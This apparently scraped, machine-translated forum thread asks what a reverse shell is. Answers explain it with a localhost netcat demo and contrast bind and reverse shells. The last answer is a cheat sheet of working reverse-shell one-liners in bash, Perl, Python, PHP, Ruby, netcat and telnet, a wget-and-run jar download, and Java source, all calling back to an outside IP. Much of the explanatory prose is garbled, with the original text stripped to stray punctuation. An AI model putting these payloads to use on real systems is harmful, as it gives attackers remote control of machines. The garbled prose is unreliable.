What is a back shell?

Can someone explain in detail what the reverse shell is and in what cases should we use it? I found this http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet regarding the same, which means:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
+18
source share
4 answers

This is the (n insecure) remote shell represented by the target. This is the opposite of the β€œnormal” remote shell that the source introduces.

Let's try this with localhostinstead 10.0.0.1:

  • Open two tabs in your terminal.

    1. Open TCP port 8080 and wait for the connection:

      nc localhost -lp 8080
      
    2. - TCP-:

      bash -i >& /dev/tcp/localhost/8080 0>&1
      

      • bash -i " -i, ".
      • >& " stdout, stderr ."
      • ( >&) /dev/tcp/localhost/8080 - TCP- localhost:8080.
      • 0>&1 0 (stdin) fd 1 (stdout), TCP- .

      http://wiki.bash-hackers.org/syntax/redirection

  • , 1.
  • , localhost, - IP.
+25

@Kay, , , , ,

Bind shell - - , - , , , ( ) . , IP- ( ..).

, - NAT , , ? - , . () . , . .

Shell - ( IP- ) . . - . , :

bash -i> &/dev/tcp/10.0.0.1/8080 0> & 1

+17

. , () , , , syn ( , tcp udp), , . , , , . - , . - TCP HTTP, TCP UDP .

bash -i> &/dev/tcp/10.0.0.1/8080 0> & 1 Linux, dev/tcp. TCP Linux.

-/dev/tcp/ip address/port. 8080, net cat nc - l - p 8080 - - vv

bash nc - e/bin/bash 10.0.0.1 8080. , vict IP- 8080, , 10.0.0.1 - ip.

0

. .

bash -i >& /dev/tcp/1.1.1.1/10086 0>&1;

Perl

perl -e 'use Socket;$i="1.1.1.1";$p=10086;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",10086));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';

PHP

php -r '$sock=fsockopen("1.1.1.1",10086);exec("/bin/sh -i <&3 >&3 2>&3");';

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("1.1.1.1","10086");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';

NC Shell

nc -c /bin/sh 1.1.1.1 10086;

telnet 1.1.1.1 10086 | /bin/bash | telnet 1.1.1.1 10087; # Remember to listen on your machine also on port 4445/tcp

127.0.0.1; mknod test p ; telnet 1.1.1.1 10086 0<test | /bin/bash 1>test;

java jar shell

wget http://1.1.1.1:9999/revs.jar -O /tmp/revs1.jar;

java -jar /tmp/revs1.jar;

import java.io.IOException;    
public class ReverseShell {    
    public static void main(String[] args) throws IOException, InterruptedException {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/1.1.1.1/10086;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }

}
-2

Source: https://habr.com/ru/post/1627800/


All Articles